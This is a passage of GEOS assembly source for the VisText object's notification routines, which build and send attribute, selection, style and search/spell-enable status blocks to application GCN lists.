mov di, notifPtr
mov dx, cs:[di].NS_gcnType
; Don't send off search/spell enables if attrs say so.
cmp dx, GWNT_SEARCH_REPLACE_ENABLE_CHANGE
jnz afterSearchSpellCheck
push bx
mov ax, ATTR_VIS_TEXT_DO_NOT_INTERACT_WITH_SEARCH_CONTROL
call ObjVarFindData
pop bx
jc noAppGCNListSend
afterSearchSpellCheck:
test sendFlags, mask VTNSF_UPDATE_APP_TARGET_GCN_LISTS
jz noAppGCNListSend
; Update the specified GenApplication GCNList status event with a
; MSG_META_NOTIFY_WITH_DATA_BLOCK of the specified notification type,
; with the specified status block.
;
call UpdateAppGCNList
noAppGCNListSend:
call MemDecRefCount ;One less reference -- we
;don't need block for ourself
;anymore (balances init of
;ref count to 1 at time of
;creation)
next:
add counter, size word
add notifPtr, size NotifStruct
cmp notifPtr, (offset notificationTable) + (size notificationTable)
LONG jnz generateLoop
.leave
; if we borrowed stack space we must copy the parameters back
pop cx ;stack offset
pop si ;old BP
pop di
tst di
jz noBorrow
recoverStack::
mov bx, di
call MemLock
mov es, ax
sub si, cx
sub si, 2 ;es:si = dest
copyCommon:
push di
segmov ds, ss
mov di, bp ;ds:di = source
xchg si, di
mov cx, size VisTextGenerateNotifyParams
rep movsb
pop di
add sp, size VisTextGenerateNotifyParams
call ThreadReturnStackSpace
ret
; we did not borrow any stack space, but we have to copy the
; data back anyway
noBorrow:
segmov es, ss ;es:si = dest
jmp copyCommon
SendNotificationLow endp
COMMENT @----------------------------------------------------------------------
MESSAGE: VisTextForceControllerUpdate --
MSG_META_UI_FORCE_CONTROLLER_UPDATE for VisTextClass
DESCRIPTION: Send out update stuff
PASS:
*ds:si - instance data
es - segment of VisTextClass
ax - The message
cx.dx - manufacturer ID, NotificationType to update
or 0xffff.0xffff to update all
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/10/91 Initial version
------------------------------------------------------------------------------@
VisTextForceControllerUpdate proc far
; MSG_META_UI_FORCE_CONTROLLER_UPDATE
; assume all
cmp cx, 0xffff
jz sendAll
; lookup in table
cmp cx, MANUFACTURER_ID_GEOWORKS
jnz done
mov di, offset notificationTable
mov cx, length notificationTable
mov ax, 0x8000
searchLoop:
cmp dx, cs:[di].NS_gcnType
jz common
shr ax
add di, size NotifStruct
loop searchLoop
done:
ret
sendAll:
mov ax, mask VisTextNotificationFlags
cmp dx, 0xffff
jz common
mov ax, VIS_TEXT_STANDARD_NOTIFICATION_FLAGS
common:
call TA_SendNotification
ret
VisTextForceControllerUpdate endp
COMMENT @----------------------------------------------------------------------
FUNCTION: UpdateAppGCNList
DESCRIPTION: Updates GenApplication GCN list with status passed.
Calls MSG_GEN_PROCESS_SEND_TO_APP_GCN_LIST on process, passing
event consisting of update information for passed list.
CALLED BY: INTERNAL
TA_SendNotification
PASS:
*ds:si - text object
ss:bp - inherited variables
bx - handle of status block, or zero if none, to be passed in
MSG_META_NOTIFY_WITH_DATA_BLOCK
RETURN:
none
DESTROYED:
ax, cx, dx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
Assumes GeoWorks manufacturer types for GCNListType &
NotificationType, and use of MSG_META_NOTIFY_WITH_DATA_BLOCK.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 12/91 Initial version, pulled out of
TA_SendNotification because of its size (would
not assemble). Updated to provide info
needed for optimizations.
------------------------------------------------------------------------------@
UpdateAppGCNList proc near
class VisTextClass
.enter inherit SendNotificationLow
EC < call T_AssertIsVisText >
push bx, dx, bp
mov di, notifPtr
mov di, cs:[di].NS_appType
call loadParams
mov ax, ATTR_VIS_TEXT_UPDATE_VIA_PROCESS
call ObjVarFindData
jc sendViaProcess
push si
mov ax, MSG_META_GCN_LIST_SEND
clr bx
call GeodeGetAppObject
mov di, mask MF_STACK or mask MF_FIXUP_DS ;added fixup 7/15/93 cbh
;ds needed at sendCommon
call ObjMessage
pop si
jmp sendCommon
sendViaProcess:
mov ax, MSG_GEN_PROCESS_SEND_TO_APP_GCN_LIST ; Update GCN list
call GenSendToProcessStack
sendCommon:
pop bx, dx, bp
; if this is an GWNT_TEXT_PARA_ATTR_CHANGE then send the block to
; the content also (if ATTR_VIS_TEXT_NOTIFY_CONTENT is set)
cmp dx, GWNT_TEXT_PARA_ATTR_CHANGE
jnz done
push bx
mov ax, ATTR_VIS_TEXT_DO_NOT_NOTIFY_CONTENT
call ObjVarFindData
pop bx
jc done
; record a message to send to the content to update its GCN list
mov di, ds:[si]
add di, ds:[di].Vis_offset
tst ds:[di].VI_link.LP_next.handle
jz done
push bx, bp
push si
mov di, VCGCNLT_TARGET_NOTIFY_TEXT_PARA_ATTR_CHANGE
call loadParams
mov ax, MSG_META_GCN_LIST_SEND
mov bx, segment VisContentClass
mov si, offset VisContentClass
mov di, mask MF_STACK or mask MF_RECORD
call ObjMessage ;di = message
mov cx, di
pop si
;
; Send this directly -- if we send it via the queue, we'll eat
; up gobs of handles and crash the system. If this causes
; stack space problems, then we'll have to borrow more
;
mov ax, MSG_VIS_VUP_CALL_OBJECT_OF_CLASS
call ObjCallInstanceNoLock
pop bx, bp
done:
.leave
ret
; load gcnParams -- di = list type
loadParams:
push di ;save list type
call MemIncRefCount ;one more reference, for send
mov di, notifPtr
mov dx, cs:[di].NS_gcnType
push bx, si, bp
mov bp, bx ;bp - block
clrdw bxsi
mov ax, MSG_META_NOTIFY_WITH_DATA_BLOCK
mov cx, MANUFACTURER_ID_GEOWORKS
mov di, mask MF_RECORD
call ObjMessage ; di is event
pop bx, si, bp
mov gcnParams.GCNLMP_event, di
mov gcnParams.GCNLMP_ID.GCNLT_manuf, MANUFACTURER_ID_GEOWORKS
pop gcnParams.GCNLMP_ID.GCNLT_type
mov gcnParams.GCNLMP_block, bx
; if clearing status, meaning we're no longer the target, set bit to
; indicate this clearing should be avoided if the status will get
; updated by a new target.
mov ax, mask GCNLSF_SET_STATUS
tst bx
jnz afterTransitionCheck
ornf ax, mask GCNLSF_IGNORE_IF_STATUS_TRANSITIONING
afterTransitionCheck:
mov gcnParams.GCNLMP_flags, ax
mov dx, size GCNListMessageParams ; create stack frame
lea bp, gcnParams
retn
UpdateAppGCNList endp
;---
GenSendToProcessStack proc near uses bx, si, di
.enter
call GeodeGetProcessHandle ; new thread model allows this
; - Doug 6/9/92
clr si
mov di, mask MF_FIXUP_DS or mask MF_STACK
call ObjMessage
.leave
ret
GenSendToProcessStack endp
COMMENT @----------------------------------------------------------------------
FUNCTION: CallGenNotify
DESCRIPTION: Generate notification block
CALLED BY: INTERNAL
PASS:
*ds:si - text object
bx - block
RETURN:
bx - block
DESTROYED:
ax, cx, dx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
CallGenNotify proc near uses di
.enter inherit SendNotificationLow
test sendFlags, mask VTNSF_NULL_STATUS
jnz afterGenerate
mov di, notifPtr
; allocate the block
tst bx
jnz afterAllocate
mov ax, cs:[di].NS_size
mov cx, ALLOC_DYNAMIC_NO_ERR or mask HF_SHARABLE \
or (mask HAF_ZERO_INIT shl 8)
call MemAlloc
mov ax, 1
call MemInitRefCount
afterAllocate:
call MemLock
mov es, ax
push bx, si, ds
clr ax
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jz 10$
mov ax, mask VTGAF_MERGE_WITH_PASSED
10$:
mov getParams.VTGAP_flags, ax
mov getParams.VTGAP_range.VTR_start.high, VIS_TEXT_RANGE_SELECTION
mov getParams.VTGAP_attr.segment, es
mov getParams.VTGAP_return.segment, es
call cs:[di].NS_routine
pop bx, si, ds
call MemUnlock
afterGenerate:
.leave
ret
CallGenNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenCharAttrNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
*ds:si - instance data
ss:bp - inherited variables
es - notification block (locked)
RETURN:
DESTROYED:
cx, dx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
GenCharAttrNotify proc near
.enter inherit SendNotificationLow
; Get the charAttr
mov getParams.VTGAP_attr.offset, offset VTNCAC_charAttr
mov getParams.VTGAP_return.offset, offset VTNCAC_charAttrDiffs
push bp
lea bp, getParams
call VisTextGetCharAttr
pop bp
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jz storeToken
cmp ax, es:[VTNCAC_charAttrToken]
jz afterToken
mov ax, CA_NULL_ELEMENT
storeToken:
mov es:[VTNCAC_charAttrToken], ax
mov charAttrToken, ax
afterToken:
; calculate the checksum for the structure
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jnz afterChecksum
push si, ds
segmov ds, es
mov si, offset VTNCAC_charAttr
mov cx, size VisTextCharAttr
call StyleSheetGenerateChecksum ;dxax = checksum
pop si, ds
movdw charAttrChecksum, dxax
afterChecksum:
mov ax, es:[VTNCAC_charAttr].VTCA_meta.SSEH_style
mov styleToken, ax
clr bx
test es:[VTNCAC_charAttrDiffs].VTCAD_diffs,
mask VTCAF_MULTIPLE_STYLES
jz 99$
dec bx
99$:
mov styleDiffs, bl
.leave
ret
GenCharAttrNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenParaAttrNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
*ds:si - instance data
ss:bp - inherited variables
es - notification block (locked)
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
GenParaAttrNotify proc near
.enter inherit SendNotificationLow
class VisTextClass
; Get the paraAttr
mov getParams.VTGAP_attr.offset, offset VTNPAC_paraAttr
mov getParams.VTGAP_return.offset, offset VTNPAC_paraAttrDiffs
push bp
lea bp, getParams
call VisTextGetParaAttr
pop bp
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jz storeToken
cmp ax, es:[VTNPAC_paraAttrToken]
jz afterToken
mov ax, CA_NULL_ELEMENT
storeToken:
mov es:[VTNPAC_paraAttrToken], ax
mov paraAttrToken, ax
afterToken:
; get the selected tab
mov cx, -1
mov ax, ATTR_VIS_TEXT_SELECTED_TAB
call ObjVarFindData
jnc noSelectedTab
mov cx, ds:[bx]
noSelectedTab:
mov es:VTNPAC_selectedTab, cx
; get the region offset
mov di, ds:[si]
add di, ds:[di].Vis_offset
mov ax, ds:[di].VTI_leftOffset
cwd
movdw es:VTNPAC_regionOffset, dxax
clr cx ; first region
;
; If this text object is not the target, or if it's generic,
; then just use the default region offset.
;
test ds:[di].VTI_intSelFlags, mask VTISF_IS_TARGET
jz afterRegionOffset
test ds:[di].VI_typeFlags, mask VTF_IS_GEN
jnz afterRegionOffset
push bp
lea bp, point
mov cx, ds:[di].VTI_cursorRegion
call TR_RegionGetTopLeft
pop bp
; if this is a small object add it the amount that the gstate
; is translated
test ds:[di].VTI_storageFlags, mask VTSF_LARGE
jnz afterSmallTransform
call TextGStateCreate
clr cx
clr dx
call TR_RegionTransformGState
mov di, ds:[si]
add di, ds:[di].Vis_offset
mov di, ds:[di].VTI_gstate
push si, ds
segmov ds, ss
lea si, trans
call GrGetTransform
pop si, ds
adddw point.PD_x, trans.TM_e31.DWF_int, ax
call TextGStateDestroy
afterSmallTransform:
; We need to find the region width, and for this we need to supply
; a line height. Since we don't have any line height handy, we
; will use a reasonable default. Since this is only used for drawing
; the ruler this will work well enough.
movdw es:VTNPAC_regionOffset, point.PD_x, ax
afterRegionOffset:
clr dx
mov bx, VIS_TEXT_DEFAULT_POINT_SIZE
call TR_RegionWidth
;
; Check for a really large value.
;
EC < cmp ax, 0xf000 >
EC < ERROR_A REGION_WIDTH_IS_NOT_REASONABLE >
mov es:VTNPAC_regionWidth, ax
; calculate the checksum for the structure
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jnz afterChecksum
push si, ds
segmov ds, es
mov si, offset VTNPAC_paraAttr
mov cx, size VisTextMaxParaAttr
call StyleSheetGenerateChecksum ;dxax = checksum
pop si, ds
movdw paraAttrChecksum, dxax
afterChecksum:
.leave
ret
GenParaAttrNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenTypeNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
*ds:si - instance data
ss:bp - inherited variables
es - notification block (locked)
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
GenTypeNotify proc near
.enter inherit SendNotificationLow
; Get the type
mov getParams.VTGAP_attr.offset, offset VTNTC_type
mov getParams.VTGAP_return.offset, offset VTNTC_typeDiffs
push bp
lea bp, getParams
call VisTextGetType
pop bp
;
; Convert the hyperlink and context references from tokens
; to list indices because the controllers need them...
;
push ax
mov ax, es:VTNTC_type.VTT_hyperlinkFile
cmp ax, CA_NULL_ELEMENT
jne doTokensToNames ;branch if a link
inc ax
mov es:VTNTC_index.VTT_hyperlinkFile, ax
mov ax, es:VTNTC_type.VTT_hyperlinkName
cmp ax, CA_NULL_ELEMENT
jne doTokensToNames
mov es:VTNTC_index.VTT_hyperlinkName, ax
mov ax, es:VTNTC_type.VTT_context
cmp ax, CA_NULL_ELEMENT
jne doTokensToNames
mov es:VTNTC_index.VTT_context, ax
jmp afterNames
doTokensToNames:
push bp
clr bp ;es:bp <- VisTextNotifyTypeChange
call TokensToNames
pop bp
afterNames:
pop ax
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jz storeToken
cmp ax, es:[VTNTC_typeToken]
jz afterToken
mov ax, CA_NULL_ELEMENT
storeToken:
mov es:[VTNTC_typeToken], ax
afterToken:
ornf es:[VTNTC_typeDiffs], dx ;add any new differences
.leave
ret
GenTypeNotify endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GenNameNotify
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Generate a notifcation that names have changed
CALLED BY: TA_SendNotification
PASS: *ds:si - instance data
es - VisTextNotifyNameChange block (locked)
RETURN: none
DESTROYED: ax, bx, cx, dx, si, di, bp, ds, es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 9/ 7/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GenNameNotify proc near
uses ds
.enter
mov ax, segment idata
mov ds, ax
inc ds:nameCount
mov ax, ds:nameCount
mov es:VTNNC_count, ax
.leave
ret
GenNameNotify endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GenCursorPositionNotify
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Generate a notifcation that cursor position has changed
CALLED BY: TA_SendNotification
PASS: *ds:si - instance data
es - VisTextCursorPositionChange block (locked)
RETURN: none
DESTROYED: ax, bx, cx, dx, si, di, bp, ds, es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 9/22/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GenCursorPositionNotify proc near
uses bp
.enter inherit SendNotificationLow
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jnz done
call TSL_SelectGetSelection ;dx.ax, cx.bx
pushdw dxax ;save cursor
pushdw dxax ;save cursor again
clc
call TL_LineFromOffset ;bxdi = line within document
call TL_LineToOffsetStart ;dxax = line start
popdw cxbp ;cxbp = cursor
subdw cxbp, dxax ;cxbp = row number
movdw es:VTCPC_rowNumber, cxbp
popdw dxax ;dxax = cursor
pushdw bxdi ;save line
call TR_RegionFromLine ;cx = region
call TR_RegionGetTopLine ;bxdi = first line in page
popdw dxax ;dxax = line within document
subdw dxax, bxdi ;dxax = line within page
movdw es:VTCPC_lineNumber, dxax
done:
.leave
ret
GenCursorPositionNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenSelectStateNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
*ds:si - instance data
ss:bp - VisTextRange
es - notification block (locked)
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
GenSelectStateNotify proc near uses bp
.enter inherit SendNotificationLow
class VisTextClass
mov es:[NSSC_selectionType], SDT_TEXT
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VTI_state, mask VTS_EDITABLE
pushf ;save editable state
; deal with cut/copy/delete
mov es:NSSC_selectAllAvailable, BB_TRUE
call TSL_SelectGetSelection ;dx.ax, cx.bx
cmpdw dxax, cxbx
jz noSelection
pushdw cxbx ; Push the end
pushdw dxax ; Push the start
mov bp, sp ; ss:bp <- ptr to the range
; Added 8/26/99 by Tony for browser
push ax, bx
mov ax, ATTR_VIS_TEXT_ALLOW_CROSS_SECTION_COPY
call ObjVarFindData
pop ax, bx
jc copyable
call TR_CheckCrossSectionChange ; Carry set if cross section
jc notCopyable
copyable:
mov es:NSSC_clipboardableSelection, BB_TRUE
notCopyable:
add sp, size VisTextRange
popf ;recover editable state
jz done ;finish if not editable
;
; Make sure that the selection doesn't cross a section break.
;
if 1
mov es:NSSC_deleteableSelection, BB_TRUE
jmp afterSelection
else
pushdw cxbx ; Push the end
pushdw dxax ; Push the start
mov bp, sp ; ss:bp <- ptr to the range
call TR_CheckCrossSectionChange ; Carry set if cross section
jc notDeletable
mov es:NSSC_deleteableSelection, BB_TRUE
notDeletable:
add sp, 2 * size dword ; Restore stack
jmp afterSelection
endif
noSelection:
popf ;recover editable state
jz done ;finish if not editable
afterSelection:
; deal with paste
clr bp ;normal transfer
call ClipboardQueryItem ;fill our buffer with formats
; does CIF_TEXT format exist ?
tst bp
jz cleanUp ; no transfer item
mov cx, MANUFACTURER_ID_GEOWORKS
mov dx, CIF_TEXT ;format to search for
call ClipboardTestItemFormat
jnc canPaste ;jump if valid assumption
; how about CIF_GRAPHICS_STRING ?
mov dx, CIF_GRAPHICS_STRING ;format to search for
call ClipboardTestItemFormat
jc cleanUp
; found graphics string -- can only use this if the object supports it
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VTI_storageFlags, mask VTSF_GRAPHICS
jz cleanUp
canPaste:
mov es:NSSC_pasteable, BB_TRUE
cleanUp:
call ClipboardDoneWithItem
done:
.leave
ret
GenSelectStateNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenSelectionNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
*ds:si - instance data
ss:bp - VisTextRange
es - notification block (locked)
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
GenSelectionNotify proc near
.enter inherit SendNotificationLow
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jnz done
call TSL_SelectGetSelection ;dx.ax, cx.bx
movdw es:VTNSC_selectStart, dxax
movdw es:VTNSC_selectEnd, cxbx
clc
call TL_LineFromOffset
movdw es:VTNSC_lineNumber, bxdi
call TL_LineToOffsetStart ;dxax = line start
movdw es:VTNSC_lineStart, dxax
call TR_RegionFromLine
mov es:VTNSC_region, cx
call TR_RegionFromOffsetGetStartLineAndOffset
movdw es:VTNSC_regionStartLine, bxdi
movdw es:VTNSC_regionStartOffset, dxax
done:
.leave
ret
GenSelectionNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenHyperlinkabilityNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
*ds:si - instance data
ss:bp - VisTextRange
es - notification block (locked)
RETURN:
DESTROYED:
ax, bx, cx, dx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jenny 7/27/94 Initial version
------------------------------------------------------------------------------@
GenHyperlinkabilityNotify proc near
.enter inherit SendNotificationLow
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jnz done
;
; Only if the start and end of the selection differ is it
; hyperlinkable. The value of the VTNHC_hyperlinkable field is
; by default false since BW_FALSE = 0.
;
call TSL_SelectGetSelection ;dx.ax, cx.bx
cmpdw dxax, cxbx
je done
mov es:VTNHC_hyperlinkable, BW_TRUE
done:
.leave
ret
GenHyperlinkabilityNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenCountNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
*ds:si - instance data
ss:bp - VisTextRange
es - notification block (locked)
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
GenCountNotify proc near
.enter inherit SendNotificationLow
call TS_GetTextSize
movdw es:VTNCC_charCount, dxax
call TL_LineGetCount
movdw es:VTNCC_lineCount, dxax
call TS_GetWordCount
movdw es:VTNCC_wordCount, dxax
call TL_LineGetParaCount
movdw es:VTNCC_paraCount, dxax
.leave
ret
GenCountNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenSearchReplaceEnableNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
*ds:si - instance data
ss:bp - VisTextRange
es - notification block (locked)
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
GenSearchReplaceEnableNotify proc near
.enter inherit SendNotificationLow
class VisTextClass
; TELL THE SEARCH AND REPLACE BOX IF IT HAS A FRIENDLY OBJECT
; AS THE TARGET.
clr cx
mov di, ds:[si]
add di, ds:[di].VisText_offset
test ds:[di].VTI_intSelFlags, mask VTISF_IS_TARGET
jz 10$
or cl, mask SREF_SEARCH
test ds:[di].VTI_state, mask VTS_EDITABLE
jz 10$ ;Exit if not editable
ornf cl, mask SREF_REPLACE
10$:
mov es:NSREC_flags, cl
.leave
ret
GenSearchReplaceEnableNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenSpellEnableNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
*ds:si - instance data
ss:bp - VisTextRange
es - notification block (locked)
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
GenSpellEnableNotify proc near
.enter inherit SendNotificationLow
class VisTextClass
; TELL THE SPELL BOX IF IT HAS A FRIENDLY OBJECT
; AS THE TARGET.
clr cx
mov di, ds:[si]
add di, ds:[di].VisText_offset
test ds:[di].VTI_intSelFlags, mask VTISF_IS_TARGET
jz 10$
test ds:[di].VTI_state, mask VTS_EDITABLE
jz 10$ ;Branch if not editable
mov cx, -1 ;
10$:
mov es:NSEC_spellEnabled, cx
.leave
ret
GenSpellEnableNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenStyleNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
ss:bx - params
*ds:si - instance data
ss:bp - VisTextRange
es - notification block (locked)
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
GenStyleNotify proc near
.enter inherit SendNotificationLow
mov ax, charAttrToken
mov es:NSC_attrTokens[0], ax
mov ax, paraAttrToken
mov es:NSC_attrTokens[1 * (size word)], ax
mov ax, styleToken
mov bl, styleDiffs
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jnz notFirst
movdw <es:NSC_attrChecksums[0*(size dword)]>, charAttrChecksum, dx
movdw <es:NSC_attrChecksums[1*(size dword)]>, paraAttrChecksum, dx
mov es:NSC_styleToken, ax
notFirst:
cmp es:NSC_styleToken, ax
jz noStyleDiffs
mov bl, -1
noStyleDiffs:
or es:NSC_indeterminate, bl
; ax = style token
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jnz done
tst es:NSC_indeterminate
jz getStyle
mov ax, CA_NULL_ELEMENT
getStyle:
sub sp, size StyleChunkDesc
mov bx, sp
call GetStyleArray
jnc noStyles
mov di, offset NSC_style
call StyleSheetGetStyle ;ax = size, bx = used
add sp, size StyleChunkDesc
segmov ds, es
mov ds:NSC_styleSize, ax
mov ds:NSC_usedIndex, bx
mov ds:NSC_usedToolIndex, cx
; we can "return to base style" is the current style differs from the
; base style or if anything is indeterminate
; we can "redefine style" is the current style differs from the
; base style and if nothing is indeterminate
clr bx
mov ax, ({TextStyleElementHeader} ds:NSC_style).TSEH_charAttrToken
cmp ax, ds:NSC_attrTokens[0]
jz 10$
inc bx
10$:
test ({TextStyleElementHeader} ds:NSC_style).TSEH_privateData.\
TSPD_flags, mask TSF_APPLY_TO_SELECTION_ONLY
jnz 20$
mov ax, ({TextStyleElementHeader} ds:NSC_style).TSEH_paraAttrToken
cmp ax, ds:NSC_attrTokens[1 * (size word)]
jz 20$
inc bx
20$:
mov cx, bx ;bx = return to base
;cx = redefine
cmp charAttrToken, CA_NULL_ELEMENT
jz 25$
test ({TextStyleElementHeader} ds:NSC_style).TSEH_privateData.\
TSPD_flags, mask TSF_APPLY_TO_SELECTION_ONLY
jnz 30$
cmp paraAttrToken, CA_NULL_ELEMENT
jnz 30$
25$:
inc bx
clr cx
30$:
mov ds:NSC_canReturnToBase, bl
mov ds:NSC_canRedefine, cl
call StyleSheetGetNotifyCounter
mov ds:NSC_styleCounter, ax
done:
.leave
ret
noStyles:
add sp, size StyleChunkDesc
jmp done
GenStyleNotify endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GenStyleSheetNotify
DESCRIPTION: Generate a notificiation structure
CALLED BY: TA_SendNotification
PASS:
ax - style token
bl - style diffs
*ds:si - instance data
ss:bp - VisTextRange
es - notification block (locked)
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 6/91 Initial version
------------------------------------------------------------------------------@
GenStyleSheetNotify proc near
.enter inherit SendNotificationLow
class VisTextClass
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jnz done
mov ax, ATTR_VIS_TEXT_STYLE_ARRAY
call ObjVarFindData
jnc done
lea bx, styleCD
call GetStyleArray
mov ax, styleCD.SCD_chunk
mov es:NSSHC_styleArray.SCD_chunk, ax
mov ax, styleCD.SCD_vmFile
mov es:NSSHC_styleArray.SCD_vmFile, ax
mov ax, styleCD.SCD_vmBlockOrMemHandle
mov es:NSSHC_styleArray.SCD_vmBlockOrMemHandle, ax
call StyleSheetGetStyleCounts
mov es:NSSHC_styleCount, ax
mov es:NSSHC_toolStyleCount, bx
call StyleSheetGetNotifyCounter
mov es:NSSHC_counter, ax
done:
.leave
ret
GenStyleSheetNotify endp
TextAttributes ends
| 23.29584
| 80
| 0.671583
|
ce6c55e733261bc8075864e6d9a73e0f0687215b
| 477
|
asm
|
Assembly
|
